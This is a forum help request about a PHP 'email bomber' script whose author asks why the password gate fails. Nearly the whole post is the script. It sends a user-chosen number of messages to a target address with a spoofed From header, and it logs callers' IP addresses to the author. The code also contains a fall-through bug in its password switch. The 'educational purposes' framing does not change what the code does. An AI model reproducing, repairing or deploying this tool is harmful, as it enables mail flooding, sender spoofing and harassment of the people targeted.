the script isnt the most useful and friendliest thing ive ever made… to admit its an email bomber… mind you its strictly for educational purposes. thats why im trying to put the password on it but it just doesnt want to let me do it. either way here is the script in question.
the stars where the password variable is actually a password, not a bunch of stars just to clarify.
thanks to anyone that can help out
[php]
<?php
echo "" . $_POST["to"] . $_POST["from"] . $_POST["subject"] . $_POST["message"] . "are the details entered";
switch ($_POST["password"]):
case "*********":
echo "Password Correct
";
stage1();
default:
echo "Password incorrect";
mail("
[email protected]","incorrect password","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
function stage1()
{
switch ($_POST["to"])
{
case "
[email protected]":
echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
case "
[email protected]":
echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
case "
[email protected]":
echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
case "
[email protected]":
echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
default:
stage2();
break;
}}
function stage2()
{
switch ($_POST["from"])
{
case "
[email protected]":
echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
case "
[email protected]":
echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
case "
[email protected]":
echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
case "
[email protected]":
echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled";
mail("
[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"
[email protected]");
break;
default:
$headers = "From:" . $_POST["from"] . "";
$i=1;
while($i<=$_POST["number"])
{
mail($_POST["to"],$_POST["subject"],$_POST["message"],$headers);
$i++;
}
echo "mail sent
";
break;
}}
?>[/php]
Mod Edit: Added [php] tags for readability, deleted email addresses.